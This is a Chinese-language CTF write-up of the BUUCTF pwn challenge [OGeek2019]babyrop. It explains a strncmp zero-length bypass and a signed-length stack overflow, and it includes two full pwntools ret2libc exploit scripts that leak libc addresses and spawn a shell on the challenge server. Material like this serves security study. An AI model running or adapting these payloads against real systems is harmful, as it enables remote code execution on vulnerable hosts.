首页 > 其他分享 >buuctf.pwn.[OGeek2019]babyrop

buuctf.pwn.[OGeek2019]babyrop

时间:2023-04-07 21:56:55浏览次数:48  
标签:babyrop addr puts libc write p32 pwn OGeek2019 payload

可以看出,没有开什么特别的保护

什么是plt,gpt,自己回顾一下

hex( elf.plt['puts'])

.plt.got:08048548 FF 25 D4 9F 04 08             jmp     ds:puts_ptr

hex(elf.got['puts'])

.got:08049FD4 6C A0 04 08                   puts_ptr dd offset __imp_puts ; DATA XREF: puts↑r

*(got['puts'])

extern:0804A06C 00 00 00 00                   extrn __imp_puts:near         ; CODE XREF: puts↑j

所以libc版本泄漏 是通过*(got['puts'])

也就是输出got['puts']指向的内容

进入main函数

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  init__();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = check(buf);
  last_func(v2);
  return 0;
}

check函数就是验证我们输入的数值和随机值是否相等

然后也没有什么可以缓冲区溢出的

int __cdecl check(int rand_num)
{
  size_t len_input; // eax
  char rand_string[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char input[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t len; // [esp+4Ch] [ebp-Ch]

  memset(rand_string, 0, sizeof(rand_string));
  memset(input, 0, sizeof(input));
  sprintf(rand_string, "%ld", rand_num);
  len = read(0, input, 32u);                    // 实际写入的字节数,而不是长度
  input[len - 1] = 0;
  len_input = strlen(input);
  if ( strncmp(input, rand_string, len_input) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)input[7];
}

但是strncmp()很奇怪

当比较的长度是0的时候,函数无脑返回0

所以这便是绕过strncmp的依据

然后看一下lastfunc

ssize_t __cdecl last_func(char input7)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( input7 == 127 )
    return read(0, buf, 0xC8u);
  else
    return read(0, buf, input7);
}

默认的长度0xC8不满足溢出的条件

所以只能从input[7]入手

也就是我们输入的input[7]能够自定义输入的最大长度

当input[7]=0xff 会被扩展为4字节的有符号0xffffffff

然后我们能输入的长度就没有了限制

然后这个题目的攻击点是lib版本泄露

我要干的事情就是

last_func返回时去往puts,传入参数elf.got['puts'],.它就会打印出真实的puts地址

然后接收数据,计算出system和str_bin_sh

然后puts返回时去往last_func

对last_func再次输入system和str_bin_sh溢出

last_func返回时就去往system

payload1

我们先绕过check函数的strncmp,然后写入input[7]=0xff

#第一次绕过
payload = b'\0'+b'\xff'*7 # 长度为0会绕过strcmp 0x7f会导致后面read截断,所以写入0xff
p.sendline(payload)
p.recvuntil('Correct\n')#然后压入puts相关参数d的

payload2

利用缓冲区溢出去往puts函数,传入参数是elf.got['puts'],

同时接送输出的数据,然后计算 system,str_bin_sh

puts函数最后重新返回到last_func,注意再次进入last_func时,参数还是0xffffffff

然后再次利用缓冲区漏洞去往system

last_func = 0x080487D0
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_plt = elf.plt['write']

payload = b'a'*(0xE7+4) # lastfunc溢出到返回地址
payload+=p32(puts_plt)  # 进入 puts 函数
payload+=p32(last_func) # puts的返回地址
payload+=p32(puts_got)  # puts函数的参数
#当puts函数返回,进入last_func,此刻esp指向了p32(puts_got),此刻它的作用就是返回地址的占位
payload+=b'\xff'* 4 #这个作为再次进入last_func的函数参数,方便我们缓冲区溢出

#缓冲区溢出漏洞
p.sendline(payload)# puts返回后,我们还没有清空栈

接受到数据后做一个地址的运算

#缓冲区溢出漏洞
p.sendline(payload)# puts返回后,我们还没有清空栈
puts_addr = u32(p.recv(4))

#获取libc版本,做一个信息的运算处理
cur_libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - cur_libc.dump('puts')# 获取那个那个libc的imagebase
system_addr = libcbase + cur_libc.dump('system')
bin_sh = libcbase + cur_libc.dump('str_bin_sh')

再次进入last_func,发送我们要溢出的数据

#缓冲区溢出漏洞
payload = b'\0'*(0xE7+4)
payload+=p32(system_addr)# call
payload+=p32(0)#返回地址的一个占位填充
payload+=p32(bin_sh)#参数
p.sendline(payload)
p.interactive()

完整的exp

from pwn import *
from LibcSearcher import *

if 1:
    host='node4.buuoj.cn'
    port=28272
else:
    host='127.0.0.1'
    port=12345
context.log_level='debug'
p = remote(host,port)
#p = process('./pwn')
elf = ELF("./pwn")

#第一次绕过
payload = b'\0'+b'\xff'*7 # 长度为0会绕过strcmp 0x7f会导致后面read截断,所以写入0xff
p.sendline(payload)
p.recvuntil('Correct\n')#然后压入puts相关参数d的

last_func = 0x080487D0
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_plt = elf.plt['write']

payload = b'a'*(0xE7+4) #溢出到返回地址
payload+=p32(puts_plt)  # ret变为了call puts
payload+=p32(last_func) # puts的返回地址,返回到last,再次利用缓冲区溢出楼漏洞
payload+=p32(puts_got)  #压入参数puts的plt, 这个地址同时还作为我们第二次进入last的时候,返回ip的一个占位参数
payload+=b'\xff'* 4

#缓冲区溢出漏洞
p.sendline(payload)# puts返回后,我们还没有清空栈
puts_addr = u32(p.recv(4))
print(hex(puts_addr))
#puts_addr = u64(r.recvuntil('\n', drop=True).ljust(8,'\x00'))
#puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\x00'))
#print(hex(puts_addr))

#获取libc版本,做一个信息的运算处理
cur_libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - cur_libc.dump('puts')# 获取那个那个libc的imagebase
system_addr = libcbase + cur_libc.dump('system')
bin_sh = libcbase + cur_libc.dump('str_bin_sh')

#缓冲区溢出漏洞
payload = b'\0'*(0xE7+4)
payload+=p32(system_addr)# call
payload+=p32(0)#返回地址的padding
payload+=p32(bin_sh)#参数
p.sendline(payload)
p.interactive()


这个exp本地可以打通

但是远程就g

无论怎么选择libc版本号,都打不通

然后去网站搜索libc的版本号,反正就是搜不到(可能自己不会吧)

https://libc.blukat.me/

网上有个大佬的exp,就像上帝一样

直接看穿远程libc的信息

from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')

pwnfile = "./pwn"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 28272
p = remote(host, port)

payload = b'\x00' + b'\xFF'* 7
p.sendline(payload)
p.recv()

write_jmp = elf.plt['write']# jmp 到 
write_IAT = elf.got['write']
main_addr = 0x8048825
org_write=0xD43C0
org_system=0x3A940
org_bin_sh=0x15902B


payload = b'\0'*(0xe7+4) 
payload += p32(write_jmp) 
payload += p32(main_addr)  
payload += p32(1) 
payload += p32(write_IAT) 
payload += p32(4)
p.sendline(payload)

write_addr = u32(p.recv(4))
libc = LibcSearcher("write", write_addr)
base = write_addr - org_write # 真实的 - 原有的
print(hex(base))
libc_system = base + org_system
bin_sh      = base + org_bin_sh

payload = b'\x00' + b'\xFF'* 7
#gdb.attach(io)
#pause()
p.sendline(payload)
p.recv()
payload = b'A'*(0xe7+4) + p32(libc_system) + p32(0) + p32(bin_sh)
p.sendline(payload)
p.interactive()

可以看到它直接把地址写死了

org_write=0xD43C0
org_system=0x3A940
org_bin_sh=0x15902B

woc,这些数据是怎么获取的,不应该呀

于是我去网上搜索对应的libc版本号,还是不对

反正大佬的exp可以打通

我的就不行,我的只能本地打通

标签:babyrop,addr,puts,libc,write,p32,pwn,OGeek2019,payload
From: https://www.cnblogs.com/re4mile/p/17297466.html

相关文章

  • [BUUCTF]PWN-[OGeek2019]babyrop
      点进sub_80486BB   注意alarm()   注意buf是v1,输出数是a1,if嵌套strncmp frompwnimport*context(arch='i386',os='linux',log_level='debug')io=remote('node4.buuoj.cn',25522)#io=process('./babyrop'......
  • [BUUCTF]PWN-bjdctf_2020_babyrop
    注意本题需要用到ROPgadget安装命令:sudoapt-getinstallpython-capstonegitclonehttps://github.com/JonathanSalwan/ROPgadget.gitcdROPgadgetsudopythonsetup.pyinstall以下是相关使用命令:命令: ROPgadget--binary文件名--only"pop|ret"|greprdi命令: R......
  • buuctf.pwn.jarvisoj_level2
    这个题目,是缓冲区溢出检测一下Nocanaryfound:可以看出没有栈保护NOPIE:没有地址随机化然后分析题目这一次我在网上看到了不同的解法,但是基本思路是一致的主要看一下这个溢出ssize_tvulnerable_function(){charbuf[136];//[esp+0h][ebp-88h]BYREFsys......
  • [BUUCTF]PWN-bjdctf_2020_babystack2
          这题比较简单,注意无符号字符串变为负数之后会发生溢出即可pro.symbols是输出函数地址的意思r.recvuntil的使用是接收到字符串为止,然后将接受的数据返回为什么会有两个payload是因为我想使用这种方式看看行不行为什么是0x10,是因为main函数里不能大于10......
  • pwn刷题笔记
    做几道pwn题,不使用ida的反汇编功能。 buuoj:ciscn_2019_n_1检查保护机制,只开启了数据段不可执行 ida查看main函数汇编代码 根据汇编代码写出main函数的反汇编代码setvbuf(cs:__bss_start,0,2,0);servbuf(cs:stdin@@GLIBC_2_2_5,0,2,0);func();return;......
  • [BUUCTF]pwn-jarvisoj_fm
     32位程序,开了NX和Canary,放入ida分析  查看system函数/bin/sh函数,看看可不可以ret2libc  第10行存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4x_......
  • pwn学习笔记-ROP和hijack GOT
    前情提要修改返回地址,让其指向溢出数据中的一段指令(shellcode)修改返回地址,让其指向内存中已有的某个函数(return2libc)修改返回地址,让其指向内存中已有的一段指令(ROP)修......
  • pwn学习笔记-栈溢出
    背景知识 函数调用栈函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息。包括函数参数与局部变量等。称之为栈是因为在函数调用时,调用函数的......
  • buuctf.pwn.ciscn_2019_n_1
    检测开启了栈不可执行的检测然后拖进IDA分析比较赤裸注意到,我们输入的是num1,但是比较的是num2所以我们需要把num1溢出到num2比较幸运的是,num1在num2的上方(空间......
  • Vulnhub:pWnOS 2.0靶机
    kali:192.168.111.111靶机:192.168.111.235信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.235访问网站blog目录在源码处发现cms信息为:Si......